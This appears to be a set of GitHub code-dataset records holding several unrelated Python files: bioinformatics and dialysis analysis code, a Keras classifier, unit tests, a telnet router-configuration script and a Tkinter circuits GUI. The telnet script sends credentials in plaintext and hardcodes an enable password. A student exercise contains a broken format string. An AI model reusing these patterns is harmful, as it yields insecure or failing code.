name:\n continue\n fname = \"{self.rbp_name}.{name}.{k}mer.tsv\".format(**locals())\n path = ensure_path(os.path.join(self.out_path, \"metrics\", fname))\n\n if name == 'cooccurrence_tensor':\n rbns.cooccurrence_tensor_analysis(k)\n continue\n\n else:\n values, errors = getattr(self, \"{name}_matrix\".format(name=name) )(k)\n self.write_kmer_matrix(path, all_kmers, values.T, errors.T, order)\n # if report and name == \"R_value\":\n # from RBPamp.rbns_reports import EnrichmentBarPlot\n # for comp in self.comparisons:\n # path = os.path.join(self.out_path, \"{0}nM\".format(comp.pd_reads.rbp_conc))\n # if not os.path.xists(path):\n # os.makedirs(path)\n # plot = EnrichmentBarPlot(comp)\n # plot.make_plot(k, dest=path)\n yield values, errors\n \n\n def cooccurrence_tensor_analysis(self, k):\n kmers, indices, best_sample_i = self.select_significant_kmers(k)\n print(kmers)\n reads = self.reads[best_sample_i]\n inrds = self.reads[0] # input control\n \n expect = np.array(reads.expected_kmer_cooccurrence_distance_tensor(kmers), dtype=np.float32)\n obsrvd = np.array(reads.kmer_cooccurrence_distance_tensor(kmers), dtype=np.float32)\n inpool = np.array(inrds.kmer_cooccurrence_distance_tensor(kmers), dtype=np.float32)\n \n lratio =np.log2((obsrvd+1) / (expect+1) )\n sratio =np.log2((obsrvd+1) / (inpool+1) )\n \n #print \"expect kmer co-occurrence\", expect[0,1,:].sum()\n #print \"obsrvd kmer co-occurrence\", obsrvd[0,1,:].sum()\n \n #import matplotlib.pyplot as pp\n #pp.plot( lratio[2,2,:] ) \n #pp.plot( sratio[2,2,:] ) \n #pp.show()\n\n\n def write_kmer_matrix(self, out_path, kmers, values, errors, order=[], err_str='error', header=None):\n self.logger.info(\"writing data matrix '{out_path}'\".format(out_path=out_path) )\n\n if header == None:\n header = ['# kmer'] + ['{0}nM\\nerr'.format(c) for c in self.rbp_conc]\n\n if not len(order):\n order = np.arange(len(kmers))\n\n def round_to_2(x):\n if x:\n return round(x, max(-int(np.floor(np.log10(abs(x)))), 2) ) \n else:\n return x\n \n def round_to_err(x, x_err):\n if x_err:\n n_dig = int(np.ceil(-np.log10(abs(x_err))))+1\n x_err = round(x_err,n_dig)\n\n n_dig = int(np.ceil(-np.log10(abs(x_err))))+1\n x = round(x,n_dig)\n \n return [str(x), str(x_err)]\n\n with open(os.path.join(out_path), 'w') as of:\n\n of.write(\"\\t\".join(header) + '\\n')\n for mer, values_row, error_row in zip(kmers[order], values[order], errors[order]):\n \n cols = [str(mer), ]\n for x, err in zip(values_row, error_row):\n cols.extend(round_to_err(x, err))\n\n of.write(\"\\t\".join(cols) + '\\n')\n of.close()\n \n\ndef read_kmer_matrix(path):\n import re\n kmers = []\n data = []\n for line in open(path):\n if line.startswith('#'):\n head = re.split('\\s+', line.rstrip())\n rbp_conc = [float(h.replace('nM','')) for h in head[2::2]]\n else:\n parts = line.split('\\t')\n kmers.append(parts[0])\n data.append(np.array(parts[1:], dtype=np.float32))\n \n kmers = np.array(kmers)\n I = kmers.argsort()\n data = np.array(data)[I,:].T\n values = data[::2,:]\n errors = data[1::2,:]\n\n return rbp_conc, values, errors\n\n\n","repo_name":"RomoL2/RegVar","sub_path":"inst/extdata/RBPamp/RBPamp/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":21920,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"25005151030","text":"from tensorflow import keras\nfrom tensorflow.keras import layers\nfrom AttentionLayer import *\n\n\nclass AMCNN:\n def __init__(self, maxlen, embed_dim,words_count, filter_size, channel, mask_prob=0.7,att_reg=0.0001 ):\n \"\"\"\n :param maxlen: Max length of sequence\n :param embed_dim: Embedding size of word embedding layer\n :param words_count: Word count of Tokenizer\n :param filter_size: Filter size of CNN layer\n :param channel: Number of Attention Layer Channels\n :param mask_prob: Masking proportion of Attention Layer(It only apply training model.)\n :param att_reg: L2 regularizer term of Attention Layer\n \"\"\"\n self.maxlen = maxlen\n self.words_count = words_count\n self.embed_dim = embed_dim\n self.filter_size = filter_size\n self.channel = channel\n self.att_reg = att_reg\n num_filter = embed_dim // filter_size\n self.num_filters = list(range(1, num_filter + 1))\n self.mask_prob = mask_prob\n\n def build(self, emb_trainable=True, pre_emb=True, emb_weight=None):\n \"\"\"\n :param emb_trainable: Define trainable of Embedding Layer\n :param pre_emb: Whether to use pre-trained embedding weights\n :param emb_weight: Pre-trained embedding weights\n :return:\n \"\"\"\n inputs = layers.Input(shape=(self.maxlen,))\n pad_k = tf.expand_dims(tf.cast((inputs == 0), dtype=tf.float32) * -99999, axis=2)\n\n if pre_emb:\n emb_layer = layers.Embedding(self.words_count + 1, self.embed_dim, trainable=emb_trainable,\n weights=[emb_weight])\n else:\n emb_layer = layers.Embedding(self.words_count + 1, self.embed_dim, trainable=\n True)\n inputs_emb = emb_layer(inputs)\n\n # Bi-LSTM cell summary\n lstm_layer = layers.LSTM(self.embed_dim, return_sequences=True)\n bi_lstm = layers.Bidirectional(lstm_layer, merge_mode=\"ave\")(inputs_emb)\n\n C_features, self.scalar_att, self.vector_att = AttentionLayer(self.embed_dim, self.embed_dim, self.channel, 0.0001,\n self.mask_prob)(bi_lstm, pad_k)\n inputs_emb2 = tf.expand_dims(inputs_emb, axis=3)\n C_features = tf.concat([inputs_emb2, C_features], axis=3)\n\n # kim-cnn process\n pools = []\n for filter_sizes in self.num_filters:\n cnn_layers = layers.Conv2D(self.filter_size, kernel_size=(filter_sizes, self.embed_dim), activation=\"relu\")\n cnn_out = cnn_layers(C_features)\n max_pools = layers.MaxPool2D(pool_size=(self.maxlen - filter_sizes + 1, 1))(cnn_out)\n max_pools = layers.Flatten()(max_pools)\n pools.append(max_pools)\n concated = layers.concatenate(pools) # filter size x num_fiilters 수\n\n # Higy-way process\n gap_input_emb = layers.GlobalAvgPool1D()(inputs_emb) # 임베딩 사이즈로 global average pooling\n trans_ = layers.Dense(self.embed_dim, activation=\"sigmoid\", use_bias=True)(gap_input_emb)\n carry_ = 1 - trans_\n gap_ = layers.Multiply()([trans_, gap_input_emb])\n concated_ = layers.Multiply()([carry_, concated])\n concated_ = layers.Add()([concated_, gap_])\n outputs = layers.Dense(1, activation=\"sigmoid\")(concated_)\n\n self.model = keras.Model(inputs=inputs, outputs=outputs)\n return self.model\n\n def load_weights(self, path):\n self.model.load_weights(path)\n print(\"Load Weights Compelete!\")\n","repo_name":"ifuseok/AMCNN","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"42825733825","text":"velo = float(input(\"Qual a velocidade do carro?\"))\n\nif velo > 80:\n km = velo-80\n multa = km*5\n retorno = \"{2:.f}\".format(multa)\nelif velo <= 80:\n retorno = 'Não foi multado'\n \nprint(retorno)\n ","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_212/ch23_2020_06_18_15_29_09_184639.py","file_name":"ch23_2020_06_18_15_29_09_184639.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40575831364","text":"from pdb import set_trace as T\n\nfrom collections import defaultdict\n\nfrom forge.ethyr.torch import Model\nfrom forge.blade.lib.log import Quill, BlobSummary\nfrom forge.trinity.ascend import Ascend, runtime\n\nimport projekt\n\nclass Pantheon(Ascend):\n '''Cluster level infrastructure layer\n\n This module aggregates gradients across all server level \n environments and updates model weights using Adam.\n\n It also demonstrates logging and snapshotting functionality \n through the Quill and Model libraries, respectively.'''\n\n def __init__(self, trinity, config, idx):\n '''Initializes a copy of the model, which keeps\n track of the weights for the optimizer.\n\n Args:\n trinity : A Trinity object as shown in __main__\n config : A Config object as shown in __main__\n idx : Unused hardware index\n '''\n super().__init__(trinity.god, config.NGOD, trinity, config)\n self.quill = Quill(config)\n self.config = config\n\n self.net = Model(projekt.Policy, config)\n self.net.printParams()\n\n @runtime\n def step(self):\n '''Broadcasts updated weights to server level God optimizer nodes.\n Performs an Adam step once optimizers return a batch of gradients.\n\n Returns:\n perf : Log message describing agent performance\n stats : Log message describing data collected\n log : Dictionary of logs containing infrastructure usage data\n ''' \n #Aggregate Blob logs as a BlobSummary\n recvs = super().step(self.net.weights)\n recvs, blobs, log = list(zip(*recvs))\n blobs = BlobSummary().add(blobs)\n\n #Update/checkpoint model and write logs\n stats, lifetime = self.quill.scrawl(blobs)\n perf = self.net.step(recvs, blobs, log, lifetime)\n\n return perf, stats, log\n","repo_name":"Quaternion66/neural-mmo","sub_path":"projekt/pantheon.py","file_name":"pantheon.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"3580696969","text":"import pytest\nfrom pytest import fixture, approx\nimport pandas as pd\n\nfrom brent.common import normalise\nfrom brent.graph import DAG\n\n\n@fixture\ndef basic_dag():\n df = pd.DataFrame({\"a\": [1, 1, 1, 1, 0, 0, 0, 0],\n \"b\": [0, 1, 0, 1, 1, 1, 1, 0],\n \"c\": [0, 0, 1, 0, 0, 1, 0, 1],\n \"d\": [1, 1, 0, 1, 0, 0, 0, 0],\n \"e\": [1, 1, 1, 1, 0, 0, 0, 0]})\n return DAG(df).add_edge(\"a\", \"b\").add_edge(\"a\", \"c\").add_edge(\"c\", \"b\")\n\n\ndef test_marginal_table(basic_dag):\n colnames = [\"a\", \"b\", \"c\", \"d\", \"e\"]\n marginal = (basic_dag.calc_node_table(\"a\")\n .pipe(basic_dag.merge_probs, that_df=basic_dag.calc_node_table(\"b\"))\n .pipe(basic_dag.merge_probs, that_df=basic_dag.calc_node_table(\"c\"))\n .pipe(basic_dag.merge_probs, that_df=basic_dag.calc_node_table(\"d\"))\n .pipe(basic_dag.merge_probs, that_df=basic_dag.calc_node_table(\"e\")))\n a = marginal.sort_values(colnames).reset_index()[colnames + [\"prob\"]]\n b = basic_dag.marginal_table.sort_values(colnames).reset_index()[colnames + [\"prob\"]]\n assert a.equals(b)\n\n\ndef test_marginal_table_values(basic_dag):\n tbl = basic_dag.marginal_table\n dict_a = tbl.groupby(\"a\").sum()[\"prob\"].to_dict()\n assert dict_a == {0: approx(0.5, abs=0.001), 1: approx(0.5, abs=0.001)}\n dict_b = tbl.groupby(\"b\").sum()[\"prob\"].to_dict()\n assert dict_b == {0: approx(0.375, abs=0.001), 1: approx(0.625, abs=0.001)}\n\n\ndef test_calc_node_table(basic_dag):\n assert set(basic_dag.calc_node_table(\"a\").columns) == {\"a\", \"prob\"}\n assert set(basic_dag.calc_node_table(\"b\").columns) == {\"a\", \"b\", \"c\", \"prob\"}\n assert set(basic_dag.calc_node_table(\"c\").columns) == {\"a\", \"c\", \"prob\"}\n assert set(basic_dag.calc_node_table(\"d\").columns) == {\"d\", \"prob\"}\n assert set(basic_dag.calc_node_table(\"e\").columns) == {\"e\", \"prob\"}\n\n\ndef test_merge_probs_simple(basic_dag):\n res1 = (basic_dag.marginal_table\n .groupby(['d'])['prob'].mean()\n .reset_index()\n .assign(prob=lambda d: normalise(d.prob))\n .to_dict(\"list\")[\"prob\"])\n assert res1[0] == approx(.625, abs=0.01)\n assert res1[1] == approx(.375, abs=0.01)\n\n res2 = (basic_dag.marginal_table\n .groupby(['e'])['prob'].mean()\n .reset_index()\n .assign(prob=lambda d: normalise(d.prob))\n .to_dict(\"list\")[\"prob\"])\n assert res2[0] == approx(.5, abs=0.01)\n assert res2[1] == approx(.5, abs=0.01)\n\n res3 = (basic_dag.marginal_table\n .groupby(['a'])['prob'].mean()\n .reset_index()\n .assign(prob=lambda d: normalise(d.prob))\n .to_dict(\"list\")[\"prob\"])\n assert res3[0] == approx(.5, abs=0.01)\n assert res3[1] == approx(.5, abs=0.01)\n\n\ndef test_node_table_throws_value_error(basic_dag):\n with pytest.raises(ValueError):\n basic_dag.calc_node_table(\"z\")\n\n\ndef test_after_bake_calc_node_still_works(basic_dag):\n basic_dag.cache().calc_node_table(\"a\")\n","repo_name":"koaning/brent","sub_path":"tests/test_dag_prob_merge.py","file_name":"test_dag_prob_merge.py","file_ext":"py","file_size_in_byte":3050,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"21"} +{"seq_id":"22725572231","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 19 14:27:18 2022\nExtract cp, cd and Vfill and Vres from patient files\n@author: P70073624\n\"\"\"\nimport pandas as pd\nfrom scipy.interpolate import interp1d\nimport numpy as np\n\ndef input_values(pfile):\n \n solutes = [\"Urea\", \"Creatinine\", \"Sodium\", \"Phosphate\", \"Glucose\", \"Potassium\"]\n t = 240 #min\n #p = input(\"Enter patient's file number\")\n #pfile = p +\".csv\"\n #pfile = \"2019415_1.csv\"\n p = pfile.split(\".\")[0]\n # print(p)\n df = pd.read_csv(pfile,skiprows = range(0,16), delimiter = \",\" \\\n , encoding= 'unicode_escape')\n # print(df.head())\n '''Plasma solute concentration'''\n df_cp = pd.DataFrame(index=[0, 120, 240],columns= solutes, dtype = float)\n df_cp = df[solutes].iloc[1:4].copy()#blood plasma concentration\n for column in df_cp:\n df_cp[column] = df_cp[column].astype('float64')\n index = pd.Series([0,120,240])\n df_cp = df_cp.set_index([index])\n df_cp = df_cp.interpolate(method = 'index', limit_direction = \"both\")\n df_cp.loc[:,\"Potassium\"]=4.0\n df_cp.loc[:, \"Creatinine\"] *= 0.001\n # uses the interpolation using the values of the indices and interpolates in both directions\n # print(df_cp)\n\n '''dialysate solute concentration'''\n df_cd = pd.DataFrame(columns = solutes,dtype = float)\n df_cd = df[solutes].iloc[10:18].copy() #dialysate concentration\n for column in df_cd:\n df_cd[column] = df_cd[column].astype('float64') \n df_cd.loc[:, \"Creatinine\"] *= 0.001 \n index = pd.Series([0,10,20,30,60,120,180, 240])\n df_cd = df_cd.set_index([index])\n #using .values here to copy only the values, otherwise it tries to match the indices of df and df_cd and it doesnt work\n df_cd = df_cd.interpolate(method = 'index', limit_direction = \"both\")\n # print(df_cd)\n\n '''dialysate volume'''\n df_V = pd.read_csv(pfile,skiprows = range(0,45), delimiter = \",\", \\\n encoding= 'unicode_escape')[[\"IP volume T=0 (mL)\",\"IP volume T=240 (mL)\"]].iloc[0] # IPV measured from haemoglobin\n # print(df_V)\n \n #Linear interpolation to find values of cp at all times\n \n f_cp = interp1d(df_cp.index, df_cp, axis = 0)\n interpolated_cp = f_cp(range(0,t+1))\n\n #Linear interpolation to find values of V at all times\n f_V = interp1d([0,240], df_V)\n interpolated_V = f_V(range(0,t+1))\n\n #predicted_cd[0] = df_cd[\"cd\"][0]\n \n Cp = interpolated_cp\n V = interpolated_V/1000\n \n cd0_m, MTAC_m, fct_m, SiCo_m, QL_m, AIC =[np.empty(6, dtype = object) for _ in range(6)]\n \n #cols = [\"model\", \"cd0\", \"MTAC\",\"fct\",\"SiCo\",\"QL\", \"Guess no.\", \"evaluation\", \"AIC_score\", \"Initital guess\"]\n \n predicted_cd = pd.DataFrame(columns= [\"Urea\", \"Creatinine\", \"Sodium\", \"Phosphate\", \"Glucose\", \"Potassium\"], dtype = float)\n \n predicted_cd.loc[0]=df_cd.loc[0] #the value of predicted cd0 comes from the initial guess\n \n # Residual volume ... total protein\n Vr = float(pd.read_csv(pfile,skiprows = range(0,45), delimiter = \",\", \\\n encoding= 'unicode_escape')[\"RV before SPA (mL)\"].iloc[1]) #ml # Changing back to normal values\n # fill volume\n V_fill = float(pd.read_csv(pfile,skiprows = range(0,39), delimiter = \",\", \\\n encoding= 'unicode_escape')[\"Volume instilled (mL)\"].iloc[1]) #ml Changing back to normal values\n if np.isnan(V_fill):\n V_fill = 2000 # mL. in case there are no measurement values\n df_drain = pd.DataFrame(columns = [\"Creatinine\", \"Total protein\", \"Albumin\"],dtype = float)\n df_drain = df[[\"Creatinine\", \"Total protein\", \"Albumin\"]].iloc[8:11].copy() #dialysate concentration\n for column in df_drain:\n df_drain[column] = df_drain[column].astype('float64') \n df_drain.loc[:, \"Creatinine\"] *= 0.001\n\n for col in df_drain.columns: \n if np.isnan(Vr):\n Vr = V_fill*df_drain.loc[10,col]/(df_drain.loc[10,col]-df_drain.loc[8,col])\n\n if np.isnan(Vr):\n Vr = 200 # mL. in case there are no measurement values\n \n return predicted_cd, Cp, V, df_cd, Vr, V_fill\n\n","repo_name":"carliercomputationallab/PD-model-comparison-pigs","sub_path":"publication/values.py","file_name":"values.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3937638452","text":"import telnetlib\r\nimport time\r\n\r\n\r\nIPAdd = raw_input(\"Type your IP Address to Telnet: \")\r\nUN = raw_input(\"Type Username to access the router: \")\r\nPW = raw_input(\"Password for Username: \")\r\n\r\nTA = telnetlib.Telnet(IPAdd)\r\n \r\nConfig = open(\"config_backup.txt\",\"w\")\r\n#Credentials\r\n\r\nTA.read_until(\"Username: \")\r\nTA.write(UN+\"\\n\")\r\nTA.read_until(\"Password: \")\r\nTA.write(PW+\"\\n\")\r\nConfig.write(\"enable\\n\")\r\nConfig.write(\"123\\n\")\r\nConfig.write(\"conf t\\n\")\r\ntime.sleep(3)\r\n\r\n#Configuration Commands\r\nRouter_Ip_List = [\"192.168.228.101\",\"192.168.228.102\",\"192.168.228.103\"]\r\nprint(Router_Ip_List)\r\n\r\nintName = raw_input(\"which interface you want to configure?\\nA. Loopback\\nB. Interface\\n\")\r\nif intName.upper() == \"A\":\r\n LoB_No = raw_input(\"Which Loopback Number You want to configure?:\\n\")\r\n L0B_Ip = raw_input(\"Enter the IP address: \\n\")\r\n Config.write(\"int Lo \"+LoB_No+\"\\n\")\r\n Config.write(\"ip add \"+L0B_Ip+\" 255.255.255.255\\n\")\r\n Config.write(\"exit\"+\"\\n\")\r\n \r\nelif intName.upper() == \"B\":\r\n int_No = raw_input(\"Which interface You want to configure?:\\n\")\r\n int_Ip = raw_input(\"Enter the IP address: \\n\")\r\n Config.write(\"int \"+int_No+\"\\n\")\r\n Config.write(\"ip add \"+int_Ip+\"\\n\")\r\n Config.write(\"no shut\"+\"\\n\")\r\n Config.write(\"exit\"+\"\\n\")\r\n time.sleep(3)\r\nelse:\r\n print(\"Not valid\")\r\n \r\n \r\n\r\n#Logout and close the session\r\n \r\nConfig.write(\"end\\n\")\r\nConfig.write(\"exit\\n\")\r\nConfig.close()\r\nConfig_file = TA.read_all()\r\nprint(Config_file)\r\ntime.sleep(3)\r\n","repo_name":"hegdepavankumar/Python-for-Network-Automation","sub_path":"read_and_write.py","file_name":"read_and_write.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"74542241333","text":"import json\n\ndef get_bin_path(json_file_path):\n with open(json_file_path) as json_file:\n data = json.load(json_file)\n deps = data['dependencies'][0]\n paths = deps['bin_paths']\n path = paths[0]\n return path\n\nif __name__ == \"__main__\":\n path = get_bin_path('conan/conanbuildinfo.json')\n print(path)","repo_name":"Booritas/slideio","sub_path":"src/py-bind/pyinfo.py","file_name":"pyinfo.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"21"} +{"seq_id":"12400147109","text":"#==========================================================================\r\n# Program: Circuits.py ---- CLASS ---\r\n# Author: Jorge E. Rodriguez\r\n# Date Created: Jan-21-2018\r\n# Date Last Modified: Jan-21-2018\r\n# Summary: This is Class to for the Circuits\r\n#==========================================================================\r\n\r\n#***************************************************************\r\n# ==================== Libraries Required =============*\r\n#***************************************************************\r\n\r\n#************************ For PING ************************\r\nimport re # Required for teh Class\r\nimport subprocess\r\nfrom time import time, sleep\r\ntry:\r\n import socket\r\n import threading\r\n# fromthreading import *\r\nexcept:\r\n print (\"NO Sockets is available\")\r\n#************************ For PING ************************\r\n\r\nimport os\r\nfrom threading import Thread\r\nimport sys\r\nimport math\r\nimport datetime\r\nimport time\r\nimport random\r\nimport tkinter\r\nimport tkinter.messagebox\r\nimport tkinter.filedialog\r\nfrom tkinter import * # Importing the Tkinter (tool box) library\r\nfrom tkinter import ttk\r\nif sys.version_info < (3,0): \r\n import Tkinter as tkinter \r\n import tkMessageBox as mbox \r\n import Tkinter.font as tkfont\r\nelse: \r\n import tkinter \r\n import tkinter.messagebox as mbox \r\n import tkinter.font as tkfont\r\n#import PyPDF2\r\n\r\n\r\ntry:\r\n from odbc_connector import *\r\n Is_ODBC_Available = True\r\nexcept:\r\n print (\"********************************************************************************** \\n\")\r\n print (\"*** NO ODBC Library Found, please download it in order to access the Databases *** \\n\")\r\n print (\"********************************************************************************** \\n\")\r\n Is_ODBC_Available = False\r\n sys.exit(1)\r\n\r\ntry:\r\n from SaveAs import *\r\n Is_SaveAs_Available = True\r\nexcept:\r\n print (\"********************************************************************************** \\n\")\r\n print (\"*** NO SaveAs Library Found, please download it in order to access the Databases *** \\n\")\r\n print (\"********************************************************************************** \\n\")\r\n Is_SaveAs_Available = False\r\n\r\n#*******************************************************\r\n#============= READING VARIABLES TABLE ================*\r\n#*******************************************************\r\ntry:\r\n from Utils import *\r\n Utils = Class_Utils()\r\n Utils.Get_Values()\r\n #------- DNS NAME ---------\r\n ODBC_DSN_name = Utils.Get_ODBC_Name()\r\n Windows_Scaling = Utils.Get_Windows_Scaling()\r\n #--------------------------\r\nexcept:\r\n #------- DNS NAME ---------\r\n ODBC_DSN_name = \"BV\"\r\n Windows_Scaling = 1.0\r\n #--------------------------\r\n\r\n#print (Windows_Scaling)\r\n\r\ntry:\r\n from Calendar_Jorge import *\r\n Is_Calendar_Available = True\r\nexcept:\r\n print (\"********************************************************************************** \\n\")\r\n print (\"*** NO Calendar Library Found, please download it in order to access the Databases *** \\n\")\r\n print (\"********************************************************************************** \\n\")\r\n Is_Calendar_Available = False \r\n\r\ntry:\r\n from Country import *\r\n Is_Country_Available = True\r\n Country = Class_Country(ODBC_DSN_name,Windows_Scaling)\r\nexcept:\r\n print (\"********************************************************************************** \\n\")\r\n print (\"*** NO Country Library Found, please download it in order to access the Databases *** \\n\")\r\n print (\"********************************************************************************** \\n\")\r\n Is_Country_Available = False \r\n\r\ntry:\r\n from Region import *\r\n Is_Region_Available = True\r\n Region = Class_Region(ODBC_DSN_name,Windows_Scaling)\r\nexcept:\r\n print (\"********************************************************************************** \\n\")\r\n print (\"*** NO Region Library Found, please download it in order to access the Databases *** \\n\")\r\n print (\"********************************************************************************** \\n\")\r\n Is_Region_Available = False \r\n\r\ntry:\r\n from Facility import *\r\n Is_Facility_Available = True\r\n Location = []\r\n Facility = Class_Facility(ODBC_DSN_name,Windows_Scaling,Location)\r\nexcept:\r\n print (\"********************************************************************************** \\n\")\r\n print (\"*** NO Facility Library Found, please download it in order to access the Databases *** \\n\")\r\n print (\"********************************************************************************** \\n\")\r\n Is_Facility_Available = False \r\n\r\ntry:\r\n from Sites import *\r\n Is_Sites_Available = True\r\n Sites = Class_Sites(ODBC_DSN_name,Windows_Scaling)\r\nexcept:\r\n print (\"********************************************************************************** \\n\")\r\n print (\"*** NO Sites Library Found, please download it in order to access the Databases *** \\n\")\r\n print (\"********************************************************************************** \\n\")\r\n Is_Sites_Available = False \r\n\r\ntry:\r\n from LocalPointOfContacts import *\r\n Is_LocalPointOfContacts_Available = True\r\n Location = []\r\n LocalPointOfContacts = Class_LocalPointOfContacts(ODBC_DSN_name,Windows_Scaling,Location)\r\nexcept:\r\n print (\"********************************************************************************** \\n\")\r\n print (\"*** NO Local Point Of Contacts Library Found, please download it in order to access the Databases *** \\n\")\r\n print (\"********************************************************************************** \\n\")\r\n Is_LocalPointOfContacts_Available = False \r\n\r\ntry:\r\n from Carriers import *\r\n Is_Carriers_Available = True\r\n Carrier = Class_Carrier(ODBC_DSN_name,Windows_Scaling)\r\nexcept:\r\n print (\"************************************************************************************** \\n\")\r\n print (\"*** NO Carriers Library Found, please download it in order to access the Databases *** \\n\")\r\n print (\"************************************************************************************** \\n\")\r\n Is_Carriers_Available = False \r\n\r\ntry:\r\n from Logging import *\r\n Is_logging_Available = True\r\n Parameter = []\r\n Parameter = ['Circuits','OPEN Window'] \r\n Logging = Class_Logging(ODBC_DSN_name,Parameter)\r\n Logging.Log(Parameter)\r\nexcept:\r\n print (\"********************************************************************************** \\n\")\r\n print (\"*** NO Logging Library Found, please download it in order to access the Databases *** \\n\")\r\n print (\"********************************************************************************** \\n\")\r\n Is_logging_Available = False\r\n\r\n\r\n#*************************************************************\r\n# ==================== Libraries Required =============*\r\n#*************************************************************\r\n\r\nclass Class_Circuits:\r\n\r\n def __init__(self,DSN_Name,Windows_Scaling,Location): \r\n self.ODBC_name = DSN_Name\r\n self.db = ODBC(self.ODBC_name)\r\n self.version = self.db.Get_Version()\r\n self.CircuitsWindowExist = False\r\n self.CircuitsCalendarInstalledDateExist = False\r\n self.CircuitsCalendarActivatedDateExist = False\r\n self.CircuitsCalendarDisconnectedDateExist = False\r\n self.CircuitsCalendarExpirationDateExist = False\r\n self.Username = os.getlogin()\r\n self.date = \"\"\r\n self.Windows_Scaling = Windows_Scaling\r\n self.Selection = 'none'\r\n self.GetPasswordWindowsExists = False\r\n self.Go_To_Location = False\r\n if (len(Location) > 0):\r\n self.Init_Country = Location[0]\r\n self.Init_Region = Location[1]\r\n self.Init_Facility = Location[2]\r\n self.Init_Site = Location[3]\r\n self.Go_To_Location = True\r\n\r\n\r\n def treeview_sort_column(self,tv, col, reverse):\r\n #print('sorting %s!' % col)\r\n l = [(tv.set(k, col), k) for k in tv.get_children('')]\r\n l.sort(reverse=reverse)\r\n\r\n # rearrange items in sorted positions\r\n for index, (val, k) in enumerate(l):\r\n #print('Moving Index:%r, Value:%r, k:%r' % (index, val, k))\r\n tv.move(k, '', index)\r\n\r\n # reverse sort next time\r\n tv.heading(col, command=lambda: self.treeview_sort_column(tv, col, not reverse))\r\n\r\n \r\n\r\n def IPFormatCheck(self,ip_str):\r\n if len(ip_str.split()) == 1:\r\n ipList = ip_str.split('.')\r\n if len(ipList) == 4:\r\n for i, item in enumerate(ipList):\r\n try:\r\n ipList[i] = int(item)\r\n except:\r\n return False\r\n if not isinstance(ipList[i], int):\r\n return False\r\n if max(ipList) < 256:\r\n return True\r\n else:\r\n return False\r\n else:\r\n return False\r\n else:\r\n return False\r\n\r\n#****************************************************************************************\r\n#---------------------------- SCREEN SELECTION SECTION ------------------------*\r\n#****************************************************************************************\r\n \r\n def Clean_Screen(self,option,option2):\r\n # Setup Buttons\r\n\r\n #self.CircuitsBusinessUnitPowerCheckbutton.select()\r\n #print (self.varpower.get())\r\n self.data_ready = False\r\n if (option == 'country'): ## The option are country,region and Circuits\r\n self.ComboBoxRegionID.set(\"\")\r\n self.ComboBoxRegionID['state'] = DISABLED\r\n self.ComboBoxFacilityID.set(\"\")\r\n self.ComboBoxFacilityID['state'] = DISABLED\r\n self.ComboBoxSitesID.set(\"\")\r\n self.ComboBoxSitesID['state'] = DISABLED\r\n self.ButtonCircuitsOK['state'] = DISABLED # Due to Edit\r\n if (option2 != 'country-combo'):\r\n self.ComboBoxCoutryID.set(\"\")\r\n self.ComboBoxRegionID['state'] = DISABLED\r\n self.ComboBoxFacilityID['state'] = DISABLED\r\n self.ComboBoxSitesID['state'] = DISABLED\r\n if (Is_Region_Available):\r\n self.ButtonRegionAdd['state'] = DISABLED\r\n self.ButtonRegionRefresh['state'] = DISABLED\r\n if (Is_Facility_Available):\r\n self.ButtonFacilityAdd['state'] = DISABLED\r\n self.ButtonFacilityRefresh['state'] = DISABLED\r\n if (Is_Sites_Available):\r\n self.ButtonSitesAdd['state'] = DISABLED\r\n self.ButtonSitesRefresh['state'] = DISABLED\r\n\r\n if (option == 'region'):\r\n self.ComboBoxFacilityID.set(\"\")\r\n self.ComboBoxFacilityID['state'] = DISABLED\r\n self.ComboBoxSitesID.set(\"\")\r\n self.ComboBoxSitesID['state'] = DISABLED\r\n self.ButtonCircuitsOK['state'] = DISABLED # Due to Edit\r\n if (option2 != 'region-combo'):\r\n self.ComboBoxRegionID.set(\"\")\r\n if (Is_Facility_Available):\r\n self.ButtonFacilityAdd['state'] = DISABLED\r\n self.ButtonFacilityRefresh['state'] = DISABLED\r\n if (Is_Sites_Available):\r\n self.ButtonSitesAdd['state'] = DISABLED\r\n self.ButtonSitesRefresh['state'] = DISABLED\r\n\r\n if (option == 'facility'):\r\n self.ComboBoxSitesID.set(\"\")\r\n self.ComboBoxSitesID['state'] = DISABLED\r\n self.ButtonCircuitsOK['state'] = DISABLED # Due to Edit\r\n if (option2 != 'facility-combo'):\r\n self.ComboBoxFacilityID.set(\"\")\r\n if (Is_Sites_Available):\r\n self.ButtonSitesAdd['state'] = DISABLED\r\n self.ButtonSitesRefresh['state'] = DISABLED\r\n\r\n if (option2 == 'sites-combo'):\r\n if (self.Selection != 'edit'):\r\n self.ButtonCircuitsAdd['state'] = ACTIVE\r\n if (self.Selection == 'edit'):\r\n self.ButtonCircuitsOK['state'] = ACTIVE # Due to Edit\r\n else:\r\n self.ButtonCircuitsAdd['state'] = DISABLED\r\n\r\n if (self.Selection != 'edit'):\r\n self.ButtonCircuitsEdit['state'] = DISABLED\r\n self.ButtonCircuitsRemove['state'] = DISABLED\r\n self.ButtonCircuitsOK['state'] = DISABLED\r\n self.ButtonCircuitsCancel['state'] = DISABLED\r\n self.ButtonDevicePingPE64['state'] = DISABLED\r\n self.ButtonDevicePingPE1500['state'] = DISABLED\r\n self.ButtonDevicePingCE64['state'] = DISABLED\r\n self.ButtonDevicePingCE1500['state'] = DISABLED\r\n self.ButtonDeviceCircuits['state'] = DISABLED\r\n 